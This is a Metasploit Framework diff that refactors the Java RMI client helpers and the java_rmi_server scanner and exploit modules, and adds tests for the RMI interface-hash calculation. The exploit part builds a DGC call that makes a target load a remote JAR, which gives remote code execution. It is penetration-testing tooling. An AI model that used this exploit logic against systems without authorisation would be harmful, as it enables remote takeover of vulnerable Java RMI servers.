diff --git a/lib/msf/java/rmi/client/streams.rb b/lib/msf/java/rmi/client/streams.rb index 1069859119..6ecc509129 100644 --- a/lib/msf/java/rmi/client/streams.rb +++ b/lib/msf/java/rmi/client/streams.rb @@ -39,7 +39,7 @@ module Msf # at the same time. # @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2 # it is -1. - # @option opts [Fixnum] :method_hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash + # @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash # representing the method to call. # @option opts [Array] :arguments # @return [Rex::Proto::Rmi::Model::Call] @@ -50,7 +50,7 @@ module Msf uid_time = opts[:uid_time] || 0 uid_count = opts[:uid_count] || 0 operation = opts[:operation] || -1 - method_hash = opts[:method_hash] || 0 + hash = opts[:hash] || 0 arguments = opts[:arguments] || [] block_data = Rex::Java::Serialization::Model::BlockData.new @@ -60,7 +60,7 @@ module Msf uid_time, uid_count, operation, - method_hash + hash ].pack('qlqslq') block_data.length = block_data.contents.length diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 46957fa1eb..a796879866 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -51,15 +51,14 @@ class Metasploit3 < Msf::Auxiliary jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' jar_url = "file:RMIClassLoaderSecurityTest/" + jar - print_status(calculate_interface_hash( + dgc_interface_hash = calculate_interface_hash( [ - #{name: 'clean', descriptor: '([Ljava.rmi.server.ObjID;;J;Ljava.rmi.dgc.VMID;;Z)V'}, - #{name: 'dirty', descriptor: '([Ljava.rmi.server.ObjID;;J;Ljava.rmi.dgc.Lease;)Ljava.rmi.dgc.Lease;'} - {name: 'sayHello', descriptor: '()Ljava/lang/String;'}, - {name: 'sayHelloTwo', descriptor: '(Ljava/lang/String;)Ljava/lang/String;'} + {name: 'clean', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V'}, + {name: 'dirty', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;'} ], ['java.rmi.RemoteException'] - ).to_s) + ) + # JDK 1.1 stub protocol # Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub) # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) @@ -69,7 +68,7 @@ class Metasploit3 < Msf::Auxiliary uid_time: 0, uid_count: 0, operation: 0, - method_hash: 0xf6b6898d8bf28643, + hash: dgc_interface_hash, # 0xf6b6898d8bf28643, arguments: build_dgc_clean_args(jar_url) ) return_data = recv_return diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index 53697867d1..3c881a1264 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -126,7 +126,17 @@ class Metasploit3 < Msf::Exploit::Remote new_url = get_uri + '/' + jar print_status("#{peer} - Sending RMI Call...") - send_call(call_data: build_gc_call_data(new_url)) + #send_call(call_data: build_gc_call_data(new_url)) + send_call( + object_number: 2, + uid_number: 0, + uid_time: 0, + uid_count: 0, + operation: 0, + hash: 0xf6b6898d8bf28643, #dgc_interface_hash + arguments: build_dgc_clean_args(new_url) + ) + return_data = recv_return if return_data.nil? && !session_created? @@ -196,14 +206,8 @@ class Metasploit3 < Msf::Exploit::Remote false end - def build_gc_call_data(jar_url) - stream = Rex::Java::Serialization::Model::Stream.new - - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" - block_data.length = block_data.contents.length - - stream.contents << block_data + def build_dgc_clean_args(jar_url) + arguments = [] new_array_annotation = Rex::Java::Serialization::Model::Annotation.new new_array_annotation.contents = [ @@ -230,8 +234,8 @@ class Metasploit3 < Msf::Exploit::Remote new_array.values = [] new_array.array_description = array_desc - stream.contents << new_array - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + arguments << new_array + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') @@ -251,11 +255,11 @@ class Metasploit3 < Msf::Exploit::Remote new_object.class_desc.description = new_class_desc new_object.class_data = [] - stream.contents << new_object + arguments << new_object - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") - stream + arguments end end diff --git a/spec/lib/msf/java/rmi/util_spec.rb b/spec/lib/msf/java/rmi/util_spec.rb new file mode 100644 index 0000000000..04799ff3d4 --- /dev/null +++ b/spec/lib/msf/java/rmi/util_spec.rb @@ -0,0 +1,73 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'msf/java/rmi/util' + +describe Msf::Java::Rmi::Util do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Util + mod.send(:initialize) + mod + end + + let(:interface_methods) do + [ + {name: 'sayHello', descriptor: '()Ljava/lang/String;'}, + {name: 'sayHelloTwo', descriptor: '(Ljava/lang/String;)Ljava/lang/String;'} + ] + end + + let(:interface_exceptions) do + ['java.rmi.RemoteException'] + end + + let(:interface_hash) do + 0x3e664fcbd9e953bb + end + + let(:method_signature) do + 'sayHello()Ljava/lang/String;' + end + + let(:method_hash) do + 0x53e0822d3e3724df + end + + let(:dgc_methods) do + [ + {name: 'clean', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V'}, + {name: 'dirty', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;'} + ] + end + + let(:dgc_exceptions) do + ['java.rmi.RemoteException'] + end + + let(:dgc_hash) do + 0xf6b6898d8bf28643 + end + + describe "#calculate_interface_hash" do + context "when an example interface is provided" do + it "generates a correct interface hash" do + expect(mod.calculate_interface_hash(interface_methods, interface_exceptions)).to eq(interface_hash) + end + end + + context "when a DGC interface is provided" do + it "generates a correct interface hash" do + expect(mod.calculate_interface_hash(dgc_methods, dgc_exceptions)).to eq(dgc_hash) + end + end + end + + describe "#calculate_method_hash" do + it "generates a correct interface hash" do + expect(mod.calculate_method_hash(method_signature)).to eq(method_hash) + end + end +end +